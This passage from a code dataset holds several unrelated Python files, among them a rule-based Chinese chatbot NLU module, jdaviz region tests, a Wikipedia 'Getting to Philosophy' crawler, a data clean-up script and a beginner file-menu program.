\"\"\"对原始语句分词,去标点,返回两个列表,第一个为分词结果,第二个为词性列表\"\"\"\r\n m = []\r\n n = []\r\n # 年龄处理\r\n age_list = re.findall(\"\\d+岁.*?月|\\d+岁半|\\d+岁|\\d+年级|[一二三四五六七八九]年级\", raw_sentence)\r\n # 日期时间处理\r\n time_list = re.findall(\"\\d+号上午\\d+点|\\d+号下午\\d+点|\\d+号上午|\\d+号下午|\\d+号晚上|\\d+号|\\d+[::]\\d+\", raw_sentence)\r\n total = age_list + time_list\r\n for i in total:\r\n jieba.add_word(i)\r\n for i, j in pseg.lcut(raw_sentence): # 去标点\r\n if i not in self.stopwords:\r\n m.append(i)\r\n n.append(j)\r\n # 把地址合在一起,例如将['北京市','海淀区','西土城路']合称为'北京市海淀区西土城路'\r\n index = []\r\n for i in range(len(n)):\r\n if n[i] == 'ns':\r\n index.append(i)\r\n if len(index) > 1:\r\n for i in range(index[-1]-index[0]):\r\n m[index[0]] += m[index[0]+i+1]\r\n m[index[0]+i+1] = ''\r\n n[index[0]+i+1] = ''\r\n x, y = [], []\r\n for i in m:\r\n if i != '':\r\n x.append(i)\r\n for i in n:\r\n if i != '':\r\n y.append(i)\r\n else:\r\n x, y = m, n\r\n return x, y\r\n\r\n def get_iob(self, m, n):\r\n \"\"\"m为分词后的列表,n为词性列表\"\"\"\r\n iob = []\r\n i = 0\r\n while i < len(m):\r\n if n[i] == 'nr': # 判别client_name和child_name,需要根据前一句话来判断\r\n # if 'B-client_name' in self.history[-1]['iob']:\r\n # iob.append('B-client_name')\r\n # elif 'B-child_name' in self.history[-1]['iob']:\r\n # iob.append('B-child_name')\r\n # else:\r\n # pass\r\n iob.append('B-client_name')\r\n elif n[i] == 'ns': # 地名\r\n # if 'client_location' in self.history[-1]['dia_act']['request_slots']:\r\n # iob.append('B-client_location')\r\n # if 'school_location' in self.history[-1]['dia_act']['request_slots']:\r\n # iob.append('B-school_location')\r\n # if 'reserve_location' in self.history[-1]['dia_act']['request_slots']:\r\n # iob.append('B-reserve_location')\r\n iob.append('B-client_location')\r\n else:\r\n if m[i] in self.slot_dict['child_age'] or re.findall('岁', m[i]) or re.findall(\"年级\", m[i]):\r\n iob.append('B-child_age')\r\n elif m[i] in self.slot_dict['child_grade']:\r\n iob.append('B-child_grade')\r\n elif m[i] in self.slot_dict['client_location']:\r\n iob.append('B-client_location')\r\n elif m[i] in self.slot_dict['school_location']:\r\n iob.append('B-school_location')\r\n elif m[i] in self.slot_dict['phone_number'] or re.findall(\"[1][358]\\d{9}\", m[i]):\r\n iob.append('B-phone_number')\r\n elif m[i] in self.slot_dict['english_level']:\r\n iob.append('B-english_level')\r\n elif m[i] in self.slot_dict['teacher_nation']:\r\n iob.append('B-teacher_nation')\r\n elif m[i] in self.slot_dict['fee']:\r\n iob.append('B-fee')\r\n elif m[i] in self.slot_dict['special_need']:\r\n iob.append('B-special_need')\r\n elif m[i] in self.slot_dict['reserve_time']:\r\n iob.append('B-reserve_time')\r\n elif m[i] in self.slot_dict['attend_class_before']:\r\n iob.append('B-attend_class_before')\r\n elif m[i] in self.slot_dict['class_type']:\r\n iob.append('B-class_type')\r\n elif m[i] in self.slot_dict['user_goal']:\r\n iob.append('B-user_goal')\r\n else:\r\n iob.append('O')\r\n i += 1\r\n return iob\r\n\r\n def iob_to_diaact(self, iob, string, history, raw_sentence):\r\n \"\"\"将iob转化为diaact,iob没有bos和intent,string是一个分词后列表(去stopwords)\"\"\"\r\n diaact = {}\r\n diaact['diaact'] = \"\"\r\n diaact['request_slots'] = {}\r\n diaact['inform_slots'] = {}\r\n\r\n # confirm iob != [],or return diaact = {}\r\n if iob == []:\r\n return {'diaact': 'inform', 'request_slots': {}, 'inform_slots': {}}\r\n\r\n string.append('EOS')\r\n string.insert(0, 'BOS')\r\n pre_tag_index = 0\r\n pre_tag = 'bos'\r\n index = 1\r\n slot_val_dict = {}\r\n\r\n # bye\r\n for i in string:\r\n if i in self.bye_words:\r\n diaact['diaact'] = 'bye'\r\n diaact['inform_slots'] = {}\r\n diaact['request_slots'] = {}\r\n return diaact\r\n\r\n # confirm_answer\r\n if history != [] and history[-1]['diaact']['diaact'] == 'confirm_question':\r\n diaact['diaact'] = 'confirm_answer'\r\n slot = list(history[-1]['diaact']['inform_slots'].keys())[0]\r\n if string[1] in ['可以', '好的', '没问题', '好']:\r\n diaact['inform_slots'][slot] = list(history[-1]['diaact']['inform_slots'].values())[0]\r\n else:\r\n diaact['request_slots'][slot] = 'UNK'\r\n return diaact\r\n\r\n while index < len(iob)+1:\r\n cur_tag = iob[index-1]\r\n if cur_tag == 'O' and pre_tag.startswith('B-'):\r\n slot = pre_tag.split('-')[1] # slot_name\r\n slot_val_str = ' '.join(string[pre_tag_index:index]) # B-slot 对应的word\r\n slot_val_dict[slot] = slot_val_str\r\n elif cur_tag.startswith('B-') and pre_tag.startswith('B-'):\r\n slot = pre_tag.split('-')[1]\r\n slot_val_str = ' '.join(string[pre_tag_index:index])\r\n slot_val_dict[slot] = slot_val_str\r\n elif cur_tag.startswith('B-') and pre_tag.startswith('I-'):\r\n if cur_tag.split('-')[1] != pre_tag.split('-')[1]:\r\n slot = pre_tag.split('-')[1]\r\n slot_val_str = ' '.join(string[pre_tag_index:index])\r\n slot_val_dict[slot] = slot_val_str\r\n elif cur_tag == 'O' and pre_tag.startswith('I-'):\r\n slot = pre_tag.split('-')[1]\r\n slot_val_str = ' '.join(string[pre_tag_index:index])\r\n slot_val_dict[slot] = slot_val_str\r\n\r\n if cur_tag.startswith('B-'):\r\n pre_tag_index = index\r\n\r\n pre_tag = cur_tag\r\n index += 1\r\n\r\n if cur_tag.startswith('B-') or cur_tag.startswith('I-'):\r\n slot = cur_tag.split('-')[1]\r\n slot_val_str = ' '.join(string[pre_tag_index:-1])\r\n slot_val_dict[slot] = slot_val_str\r\n # print('slot_val_dict:', slot_val_dict)\r\n\r\n for item in slot_val_dict.keys():\r\n if item in self.request_slots:\r\n diaact['request_slots'][item] = 'UNK'\r\n elif item in self.inform_slots:\r\n diaact['inform_slots'][item] = slot_val_dict[item]\r\n else:\r\n pass\r\n\r\n # 判断intent\r\n if diaact['request_slots'] == {}:\r\n diaact['diaact'] = 'inform'\r\n else:\r\n diaact['diaact'] = 'request'\r\n # greeting and thanks\r\n if diaact['request_slots'] == {} and diaact['inform_slots'] == {}:\r\n for i in string:\r\n if i in self.greeting_words:\r\n diaact['diaact'] = 'greeting'\r\n return diaact\r\n elif i in self.thanks_words:\r\n diaact['diaact'] = 'thanks'\r\n return diaact\r\n else:\r\n pass\r\n\r\n # set user_goal value = '预约' or '加盟'\r\n if 'user_goal' in diaact['inform_slots'] and diaact['inform_slots']['user_goal'] in ['预约', \"咨询\"]:\r\n diaact['inform_slots']['user_goal'] = \"预约\"\r\n # english_level,special_need,know_about_ruisi\r\n if history != [] and history[-1][\"diaact\"][\"request_slots\"] != {}:\r\n temp = list(history[-1][\"diaact\"][\"request_slots\"].keys())[0]\r\n if temp in ['english_level', 'special_need', 'know_about_ruisi']:\r\n diaact['inform_slots'][temp] = raw_sentence\r\n elif temp == \"reserve_location\":\r\n diaact = {'diaact': 'inform', 'request_slots': {}, 'inform_slots': {temp: raw_sentence}}\r\n elif temp == \"child_name\":\r\n diaact = {'diaact': 'inform', 'request_slots': {}, 'inform_slots': {temp: raw_sentence}}\r\n elif temp == \"client_name\":\r\n diaact = {'diaact': 'inform', 'request_slots': {}, 'inform_slots': {temp: raw_sentence}}\r\n elif temp == \"reserve_time\":\r\n diaact = {'diaact': 'inform', 'request_slots': {}, 'inform_slots': {temp: raw_sentence}}\r\n elif temp == \"client_gender\":\r\n diaact = {'diaact': 'inform', 'request_slots': {}, 'inform_slots': {temp: raw_sentence}}\r\n else:\r\n pass\r\n\r\n return diaact\r\n\r\n def get_diaact(self, raw_sentence, history):\r\n m, n = self.participle(raw_sentence)\r\n # print(\"word:{} ; gender:{}\".format(m, n))\r\n iob = self.get_iob(m, n)\r\n # print(\"iob:\", iob)\r\n diaact = self.iob_to_diaact(iob, m, history, raw_sentence)\r\n return diaact\r\n\r\n# nlu = NLU()\r\n# s = '2:30'\r\n# m, n = nlu.participle(s)\r\n# print(s)\r\n# print(nlu.participle(s))\r\n\r\n\r\n","sub_path":"chatbot/NLU/nlu_rule.py","file_name":"nlu_rule.py","file_ext":"py","file_size_in_byte":12201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"422939296","text":"import numpy as np\r\nimport pytest\r\nfrom astropy import units as u\r\nfrom astropy.coordinates import SkyCoord, Angle\r\nfrom regions import (PixCoord, CircleSkyRegion, RectanglePixelRegion, CirclePixelRegion,\r\n EllipsePixelRegion)\r\n\r\nfrom jdaviz.configs.imviz.tests.utils import BaseImviz_WCS_NoWCS\r\n\r\ntry:\r\n import photutils # noqa\r\n HAS_PHOTUTILS = True\r\nexcept ImportError:\r\n HAS_PHOTUTILS = False\r\n\r\n\r\nclass BaseRegionHandler:\r\n \"\"\"Test to see if region is loaded.\r\n Does not check if region is actually at the correct place in display.\r\n \"\"\"\r\n def verify_region_loaded(self, region_label, count=2):\r\n n = 0\r\n for layer in self.viewer.state.layers:\r\n if layer.layer.label == region_label:\r\n n += 1\r\n assert layer.visible\r\n assert n == count\r\n\r\n\r\nclass TestLoadStaticRegions(BaseImviz_WCS_NoWCS, BaseRegionHandler):\r\n\r\n def test_regions_invalid(self):\r\n # Does not matter if region is invalid here, it is skipped.\r\n with pytest.warns(UserWarning, match='Unsupported region type'):\r\n self.imviz.load_static_regions({'reg': self.imviz})\r\n with pytest.warns(UserWarning, match='is not allowed, skipping'):\r\n self.imviz.load_static_regions({'Subset 1': self.imviz})\r\n\r\n self.verify_region_loaded('reg', count=0)\r\n self.verify_region_loaded('Subset 1', count=0)\r\n assert self.imviz.get_interactive_regions() == {}\r\n\r\n def test_regions_mask(self):\r\n mask = np.zeros((10, 10), dtype=np.bool_)\r\n mask[0, 0] = True\r\n self.imviz.load_static_regions({'my_mask': mask})\r\n self.verify_region_loaded('my_mask')\r\n assert self.imviz.get_interactive_regions() == {}\r\n\r\n def test_regions_pixel(self):\r\n # Out-of-bounds should still overlay the overlapped part.\r\n my_reg = CirclePixelRegion(center=PixCoord(x=6, y=2), radius=5)\r\n self.imviz.load_static_regions({'my_reg': my_reg})\r\n self.verify_region_loaded('my_reg')\r\n assert self.imviz.get_interactive_regions() == {}\r\n\r\n # We attach a basic get_interactive_regions test here too.\r\n def test_regions_sky_has_wcs(self):\r\n # Mimic interactive region (before)\r\n self.imviz._apply_interactive_region('bqplot:circle', (1.5, 2.5), (3.6, 4.6))\r\n\r\n sky = SkyCoord(ra=337.5202808, dec=-20.833333059999998, unit='deg')\r\n my_reg_sky = CircleSkyRegion(sky, Angle(0.5, u.arcsec))\r\n self.imviz.load_static_regions({'my_reg_sky_1': my_reg_sky})\r\n\r\n # Mimic interactive regions (after)\r\n self.imviz._apply_interactive_region('bqplot:ellipse', (-2, 0), (5, 4.5))\r\n self.imviz._apply_interactive_region('bqplot:rectangle', (0, 0), (10, 10))\r\n\r\n # Check interactive regions. We do not check if the translation is correct,\r\n # that check hopefully is already done in glue-astronomy.\r\n # Apparently, static region ate up one number...\r\n subsets = self.imviz.get_interactive_regions()\r\n assert list(subsets.keys()) == ['Subset 1', 'Subset 3', 'Subset 4'], subsets\r\n assert isinstance(subsets['Subset 1'], CirclePixelRegion)\r\n assert isinstance(subsets['Subset 3'], EllipsePixelRegion)\r\n assert isinstance(subsets['Subset 4'], RectanglePixelRegion)\r\n\r\n # Check static region\r\n self.verify_region_loaded('my_reg_sky_1')\r\n\r\n @pytest.mark.skipif(not HAS_PHOTUTILS, reason='photutils is missing')\r\n def test_photutils_pixel(self):\r\n from photutils import CircularAperture\r\n\r\n my_aper = CircularAperture((5, 5), r=2)\r\n self.imviz.load_static_regions({'my_aper': my_aper})\r\n self.verify_region_loaded('my_aper')\r\n assert self.imviz.get_interactive_regions() == {}\r\n\r\n @pytest.mark.skipif(not HAS_PHOTUTILS, reason='photutils is missing')\r\n def test_photutils_sky_has_wcs(self):\r\n from photutils import SkyCircularAperture\r\n\r\n sky = SkyCoord(ra=337.5202808, dec=-20.833333059999998, unit='deg')\r\n my_aper_sky = SkyCircularAperture(sky, 0.5 * u.arcsec)\r\n self.imviz.load_static_regions({'my_aper_sky_1': my_aper_sky})\r\n self.verify_region_loaded('my_aper_sky_1')\r\n assert self.imviz.get_interactive_regions() == {}\r\n\r\n\r\nclass TestLoadStaticRegionsSkyNoWCS(BaseRegionHandler):\r\n @pytest.fixture(autouse=True)\r\n def setup_class(self, imviz_app):\r\n # Data without WCS\r\n imviz_app.load_data(np.zeros((10, 10)), data_label='no_wcs')\r\n\r\n self.imviz = imviz_app\r\n self.viewer = imviz_app.default_viewer\r\n self.sky = SkyCoord(ra=337.5202808, dec=-20.833333059999998, unit='deg')\r\n\r\n def test_regions_sky_no_wcs(self):\r\n my_reg_sky = CircleSkyRegion(self.sky, Angle(0.5, u.arcsec))\r\n with pytest.warns(UserWarning, match='data has no valid WCS'):\r\n self.imviz.load_static_regions({'my_reg_sky_2': my_reg_sky})\r\n self.verify_region_loaded('my_reg_sky_2', count=0)\r\n assert self.imviz.get_interactive_regions() == {}\r\n\r\n @pytest.mark.skipif(not HAS_PHOTUTILS, reason='photutils is missing')\r\n def test_photutils_sky_no_wcs(self):\r\n from photutils import SkyCircularAperture\r\n\r\n my_aper_sky = SkyCircularAperture(self.sky, 0.5 * u.arcsec)\r\n with pytest.warns(UserWarning, match='data has no valid WCS'):\r\n self.imviz.load_static_regions({'my_aper_sky_2': my_aper_sky})\r\n self.verify_region_loaded('my_aper_sky_2', count=0)\r\n assert self.imviz.get_interactive_regions() == {}\r\n","sub_path":"jdaviz/configs/imviz/tests/test_regions.py","file_name":"test_regions.py","file_ext":"py","file_size_in_byte":5569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"146458140","text":"from sys import platform as _platform\nimport utils\n\n\nmodules = []\n\nif _platform == 'darwin':\n import plaintalk\n modules.append(plaintalk)\nelse:\n import pico2wave\n modules.append(pico2wave)\n\nimport google\nmodules.append(google)\n\n\ndef reload_all():\n global modules\n for module in modules:\n reload(module)\n\nengine = None\n\n\ndef selectTTS(name):\n global engine\n for module in modules:\n if module.NAME == name:\n engine = module.TTS\n break\n else:\n raise KeyError(\"TTS engine not found\")\n\n\ndef init(profile):\n e = utils.get_profile(profile, key='engine')\n selectTTS(e)\n return engine(profile)\n","sub_path":"libs/tts/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"440182662","text":"class Solution(object):\n def addBinary(self, a,b):\n n = max(len(a), len(b))\n\n a = a.zfill(n)\n b = b.zfill(n)\n\n carry = 0\n result = []\n\n for i in range(n-1,-1,-1):\n if a[i] == '1':\n carry += 1\n if b[i] == '1':\n carry += 1\n if carry % 2 == 1:\n result.append('1')\n else:\n result.append('0')\n\n carry //= 2\n if carry == 1:\n result.append('1')\n result.reverse()\n return ''.join(result)","sub_path":"practice_problems/test with unittest/Add Binary.py","file_name":"Add Binary.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"128182138","text":"from random import shuffle\r\n\r\nclass Game():\r\n _packmd5=None\r\n rules = {} \r\n goal = None\r\n goal2 = None\r\n maxcards = -1\r\n maxthingies = -1\r\n get=1 \r\n use=1\r\n\r\n players=[] #What's on the box\r\n _p=-1 #The player who's got a turn\r\n _lp=0 #Number of players\r\n \r\n _cards=[] #What it says\r\n _c=0 #Number of cards\r\n \r\n _drop=[] #Dropped cards\r\n _d=0 #len of _drop\r\n \r\n\r\n rvo=False # Reversed order\r\n xpo=False # x+1\r\n xmo=False # x-1\r\n alm=False # Alms\r\n spt=False # Support\r\n rnf=False # Random the first\r\n bnf=False # Benefit\r\n dgl=False # Dual goal\r\n \r\n _thingiesC={}\r\n def __init__(self, crds, md5):\r\n self._cards=crds\r\n self._packmd5=md5\r\n self._scrambleCards()\r\n def setGoal(self, goal):\r\n if not self.dgl:\r\n self.goal=goal.value\r\n else:\r\n if self.goal2 is None:\r\n self.goal2=goal\r\n else:\r\n if self.interface.goalChoice():\r\n self.goal2=goal\r\n else:\r\n self.goal=goal\r\n self.testWins()\r\n def testWins(self):\r\n for p in self.players:\r\n if p.isWin(self):\r\n interfaces.win(p)\r\n def addRule(self, c):\r\n\r\n v=c.value\r\n if \"get\" in v:\r\n self.get=int(v.split(\":\")[1])\r\n elif \"use\" in v:\r\n self.use=int(v.split(\":\")[1])\r\n elif \"maxc\" in v:\r\n self.maxc=int(v.split(\":\")[1])\r\n elif 'maxt' in v:\r\n self.maxt=int(v.split(\":\")[1])\r\n else:\r\n if v=='xpo':\r\n self.xmo=0\r\n self.xpo=1\r\n elif v=='xmo':\r\n self.xpo=0\r\n self.xmo=1\r\n elif v=='rvo':\r\n self.rvo=1\r\n elif v=='rnf':\r\n self.rnf=1\r\n elif v==\"bnf\":\r\n self.bnf=1\r\n elif v==\"dgl\":\r\n self.dgl=1\r\n elif v==\"spt\":\r\n self.spt=1\r\n elif v==\"alm\":\r\n self.alm=1\r\n\r\n def removeRule(self, c):\r\n v=c.value\r\n if \"get\" in v:\r\n self.get=1\r\n elif \"use\" in v:\r\n self.use=1\r\n elif \"maxc\" in v:\r\n self.maxc=-1\r\n elif 'maxt' in v:\r\n self.maxt=-1\r\n else:\r\n if v=='xpo':\r\n self.xpo=0\r\n elif v=='xmo':\r\n self.xmo=0\r\n elif v=='rvo':\r\n self.rvo=0\r\n elif v=='rnf':\r\n self.rnf=0\r\n elif v==\"bnf\":\r\n self.bnf=0\r\n elif v==\"dgl\":\r\n self.dgl=0\r\n elif v==\"spt\":\r\n self.spt=0\r\n elif v==\"alm\":\r\n self.alm=0\r\n\r\n def nextPlayer(self):\r\n if self.rvo:\r\n self._p-=1\r\n else:\r\n self._p+=1\r\n self._p%=self._lp\r\n plist=self._players(self._p)\r\n self.players[self._p].turn(self, plist)\r\n\r\n def _players(self, n):\r\n return [self.players[(i + n) % self._lp] for i in range(self._lp)]\r\n #TODO: RVO\r\n \r\n def getCards(self, player):\r\n n=0\r\n if self.spt:\r\n if not bool(player.cards):\r\n if self.xpo:\r\n n+=4\r\n elif self.xmo:\r\n n+=2\r\n else:\r\n n+=3\r\n if self.alm:\r\n if len(player.thingies)==min(self._thingiesC.values()):\r\n if self.xpo:\r\n n+=2\r\n elif self.xmo:\r\n pass\r\n else:\r\n n+=1\r\n if self.xpo:\r\n n+=1\r\n elif self.xmo:\r\n if self.get != 1:\r\n n-=1\r\n n+=self.get\r\n return self._getCards(n)\r\n def _getCards(self, n):\r\n if self._c 0:\n clicks_away -= 1\n self.visited_urls[self.current_path.pop(0)] = clicks_away\n else:\n while len(self.current_path) > 0:\n self.visited_urls[self.current_path.pop(0)] = False\n\n\n def process_response(self, response_text):\n \"\"\"Parse response's text for its first link and format it\"\"\"\n\n soup = BeautifulSoup(response_text, 'html.parser')\n self._extract_unnecessary_tags(soup)\n first_paragraph_soup = self._remove_parentheses(soup)\n\n p_link = first_paragraph_soup.find_all('a')\n li_link = soup.select('ul > li > a')\n table = soup.find('table', { 'class': 'wikitable' } )\n table_link = table.find_all('a') if table else []\n\n link = self._try_location(p_link) or self._try_location(table_link) or self._try_location(li_link)\n url = regex.search(self.link_regex, link).group(0)[6:-1]\n\n return url\n\n\n # Private:\n\n\n def _get_average_path_length(self):\n \"\"\"Calculate average path length for those that got to Philosophy\"\"\"\n\n total_urls = self.visited_urls.keys()\n lengths = [self.visited_urls[url] for url in total_urls if self.visited_urls[url]]\n\n return sum(lengths) / len(lengths)\n\n\n def _get_distribution(self):\n \"\"\"Calculate the distribution of path lengths\"\"\"\n\n return Counter(self.visited_urls.values()).most_common()\n\n def _get_percentage(self):\n \"\"\"Calculate percentage of paths that led to Philosophy\"\"\"\n\n total_urls = self.visited_urls.keys()\n found_paths = [url for url in total_urls if self.visited_urls[url]]\n\n return 100 * (len(found_paths) / len(total_urls))\n\n def _request_url(self, article_name):\n \"\"\"Send and receive an http request; return the response's text\"\"\"\n\n # In case of literally no clickable links (it has happened...):\n if not article_name[0:5] == '/wiki':\n return False\n\n url = (self.base_url + unquote(article_name))\n print('Checking out:', url)\n\n try:\n response = urlopen(url)\n except UnicodeEncodeError:\n return False\n\n response_text = response.read()\n response.close()\n\n return response_text\n\n def _extract_unnecessary_tags(self, soup):\n \"\"\"Remove unwanted link tags, as per challenge instructions\"\"\"\n\n [span_tag.extract() for span_tag in soup.find_all('span')]\n [italic_tag.extract() for italic_tag in soup.find_all('i')]\n [sup_tag.extract() for sup_tag in soup.find_all('sup')]\n [bad_link.extract() for bad_link in soup.find_all('a', { 'class': 'new' })]\n [bad_link.extract() for bad_link in soup.find_all('a', { 'class': 'extiw' })]\n\n def _remove_parentheses(self, soup):\n \"\"\"\n Remove parentheses from a parsed page, UNLESS they are between quotes.\n\n Example:\n Plato (a Philosopher) practiced Philosophy.\n\n Would return:\n Plato practiced Philosophy.\n \"\"\"\n\n main_body = str(soup.select('div#mw-content-text > p'))\n main_body = regex.sub(self.parenthesis_regex, '', main_body)\n\n return BeautifulSoup(main_body, 'html.parser')\n\n def _try_location(self, soup_array):\n \"\"\"Look for a link in different areas of the page\"\"\"\n\n try:\n link = str(soup_array[0])\n except IndexError:\n link = False\n\n return link\n\n def _get_random_urls(self):\n \"\"\"Fetch 500 random articles (via 1 HTTP request)\"\"\"\n\n params = urlencode({\n \t\"action\": \"query\",\n \t\"format\": \"json\",\n \t\"prop\": \"\",\n \t\"list\": \"random\",\n \t\"meta\": \"\",\n \t\"utf8\": 1,\n \t\"rnnamespace\": \"0\",\n \t\"rnlimit\": \"500\"\n })\n response = urlopen(self.base_url + '/w/api.php?' + params)\n response_text = response.read().decode('utf-8')\n response.close()\n\n response_text = json.loads(response_text)\n articles = response_text['query']['random']\n return ['/wiki/' + article['title'].replace(' ', '_') for article in articles]\n\n\ncrawler = Crawler()\ncrawler.run()\n","sub_path":"crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":7453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"476066059","text":"import csv\nimport logging\nimport pandas as pd\nimport numpy as np\nimport time\nimport math\nfrom shutil import copyfile\nfrom statistics import mean\nimport numpy as np\nimport pickle\nimport os\n\nuser_name=input('Please type unique user name: ')\npath = os.getcwd()\npath = path + '\\\\'+user_name\nprint(path)\n\ntry:\n os.mkdir(path)\nexcept OSError:\n print(\"didnt create user folder\")\nelse:\n print(\"Caution folder didnt exist already\")\n\ntry:\n copyfile('eye_gaze_data.csv',path+'\\\\'+user_name+'_eye_gaze_data.csv')\n print('successfully coppied eye gaze data')\n os.remove('eye_gaze_data.csv')\nexcept:\n print('unable to copy eye_gaze_data')\n \ntry:\n copyfile('video_gazed.csv',path+'\\\\'+user_name+'_video_gazed.csv')\n print('successfully coppied video gazed data')\n os.remove('video_gazed.csv')\nexcept:\n print('unable to print video gazed data')\n \n \n#try: \n# copyfile('cal_params.pkl',path+'\\\\'+user_name+'_cal_params.pkl')\n# print('successfully coppied cal params')\n# os.remove('cal_params.pkl')\n#except:\n# print('unable to copy cal params pickle file')\n\ntry:\n copyfile('test_mom.mp4',path+'\\\\'+user_name+'_test_mom.mp4')\n #copyfile('test_test_i_love_you_man.mp4',path+'\\\\'+user_name+'_test_i_love_you_man.mp4')\n print('successfully coppied mom test video')\n #print('successfully coppied i love you man test video')\n os.remove('test_mom.mp4')\n #os.remove('test_i_love_you_man.mp4')\nexcept:\n print('unable to copy test mom video')\n #print('unable to copy test man video')\n\ntry: \n os.remove('mom_soundless.mp4')\n #os.remove('man_soundless.mp4')\n print('deleted soundless version')\nexcept:\n print('unable to delete soundless version')\n \n \ntry:\n copyfile('blink_profile.csv',path+'\\\\'+user_name+'_blink_profile.csv')\n print('copied blink profile')\n os.remove('blink_profile.csv')\nexcept:\n print('unable to cal blink profile')","sub_path":"clean_up.py","file_name":"clean_up.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"182187750","text":"import numpy as np\r\nfrom scipy.signal import argrelmax\r\nfrom pathlib import Path\r\nimport pandas as pd\r\nfrom operator import itemgetter, attrgetter\r\nfrom itertools import *\r\n\r\ndef main():\r\n print(\"解析するファイル名を入力しなさい。(.h_v.csv形式)\")\r\n \r\n instr = input().replace('\"', '')\r\n\r\n path = Path(instr).absolute() # 解析するファイル\r\n\r\n data = pd.read_csv(path, engine=\"python\")\r\n \r\n freq = data['freq'].values.tolist()\r\n ns_hv = data['ns_hv_conv'].values.tolist()\r\n ew_hv = data['ew_hv_conv'].values.tolist()\r\n # hv値がピークとなるインデックス\r\n ns_peak_index = argrelmax(np.array(ns_hv), order=len(freq)//40)[0]\r\n ew_peak_index = argrelmax(np.array(ew_hv), order=len(freq)//40)[0]\r\n # ピーク値を値の大きい順に5番目まで並べる\r\n ns_peak_sorted = sorted(ns_peak_index, key=lambda index: -ns_hv[index])[0:5]\r\n ew_peak_sorted = sorted(ew_peak_index, key=lambda index: -ew_hv[index])[0:5]\r\n \r\n # インデックス順に並べなおす\r\n ns_peak_sorted = sorted(ns_peak_sorted, key=lambda index: index)\r\n ew_peak_sorted = sorted(ew_peak_sorted, key=lambda index: index)\r\n print(\"----------ns----------\")\r\n for index in ns_peak_sorted:\r\n print(freq[index])\r\n # print(\"%f, %f\" % (freq[index], ns_hv[index]))\r\n print(\"----------ew----------\")\r\n for index in ew_peak_sorted:\r\n print(freq[index])\r\n # print(\"%f, %f\" % (freq[index], ew_hv[index]))\r\n\r\n\r\n\r\n \r\n\r\n\r\n \r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()","sub_path":"peak2.py","file_name":"peak2.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"107317949","text":"#KYRA CRAWFORD\n\n# HOMEWORK ASSIGNMENT\n#ask user for file name, and info to go inside file\n#make a menu for creating file(filename), deleting file(filename), adding to file, write in file (give warning about override)\n#print what is in file\nimport os\nimport time\nimport sys\n\nname = input('What is your name? ')\nwelcome = print('\\nHello,',name,'\\n')\nstart = input('Would you like to create a file? (y/n) ')\n\ndef clear():\n print('\\nLoading next page...')\n time.sleep(2)\n os.system('cls')\n\ndef NEWFILE():\n filename = input('What do you want your file to be named? ')\n FILE = open(filename,'w')\n FILE.write('***THIS IS YOUR FILE***')\n FILE.close()\n print('Your file has been created')\n clear()\n INMENU()\n\ndef WRITEFILE():\n file = input('What file do you want to write in: ')\n if os.path.exists(file):\n print('\\n\\n***WARNING*** : If you have already written something in the file, it will be replaced with what you write.')\n answer = input(\"\\nIf would like to write in the file, reply with 'y', if you wish to simply ADD something to your file, reply with 'n': \")\n if answer == 'y':\n words = input('What do you want to write in your file: ')\n PEN = open(file,'w')\n PEN.write(str('\\n',words))\n PEN.close()\n print('Your words are in the file.')\n clear()\n INMENU()\n elif answer == 'n':\n ok = input('\\n\\n*IMPORTANT* When the menu pops up again, select option 3 to add more to your file. (ok)')\n if ok == 'ok':\n print('Good! You will be returned to the menu shortly.')\n time.sleep(2)\n clear()\n INMENU()\n else:\n print('There is no file called that. You will be returned to the menu shortly.')\n clear()\n INMENU()\n\ndef ADDFILE():\n file = input('What file do you want to update: ')\n if os.path.exists(file):\n newline = '\\n'\n words = input('What do you want to add to your file: ')\n PENCIL = open(file,'a')\n PENCIL.write(newline)\n PENCIL.write(words)\n PENCIL.close()\n print('\"',words,end=' \" was successfully added to the file\\n')\n clear()\n INMENU()\n else:\n print('There is no file called that. You will be returned to the menu shortly')\n clear()\n INMENU()\n\ndef READFILE():\n file = input('What file do you want me to read/print for you: ')\n if os.path.exists(file):\n EYE = open(file,'r')\n print('This is the contents of the file,',file,end=':\\n')\n print(EYE.read())\n answer = input(\"Let me know when you're done reading! (ok): \")\n if answer == 'ok':\n print('Great! You will be returned to the menu momentarily.')\n clear()\n INMENU()\n else:\n print('There is no file called that. You will be returned to the menu shortly.')\n clear()\n INMENU()\n\ndef DELFILE():\n file = input('What file do you want to delete: ')\n if os.path.exists(file):\n print('Deleting file...')\n time.sleep(2)\n os.remove(file)\n print('File deleted')\n clear()\n INMENU()\n else:\n print('There is no file called that. You will be returned to the menu shortly')\n clear()\n INMENU()\n\ndef INMENU():\n print('* * * * * * * * * * * * * * * * *')\n print('* ~ADDITIONAL OPTIONS~ *')\n print('* _ _ _ _ _ _ _ _ _ _ _ _ _ *')\n print('* | | *')\n print('* | 1. DELETE FILE | *')\n print('* | 2. NEW FILE | *')\n print('* | 3. ADD TO FILE | *')\n print('* | 4. WRITE FILE | *')\n print('* | 5. READ FILE | *')\n print('* | 6. EXIT | *')\n print('* |_ _ _ _ _ _ _ _ _ _ _ _ _| *')\n print('* *')\n print('* * * * * * * * * * * * * * * * *')\n answer = input('What would you like to do? (1/2/3/4/5/6) ')\n if answer== '1':\n clear()\n DELFILE()\n elif answer == '2':\n clear()\n NEWFILE()\n elif answer == '3':\n clear()\n ADDFILE()\n elif answer == '4':\n clear()\n WRITEFILE()\n elif answer == '5':\n clear()\n READFILE()\n elif answer == '6':\n answer = input('Sure you want to exit? (y/n) ')\n if answer == 'y':\n print('Goodbye!')\n time.sleep(4)\n sys.exit()\n elif answer == 'n':\n clear()\n INMENU()\n\ndef 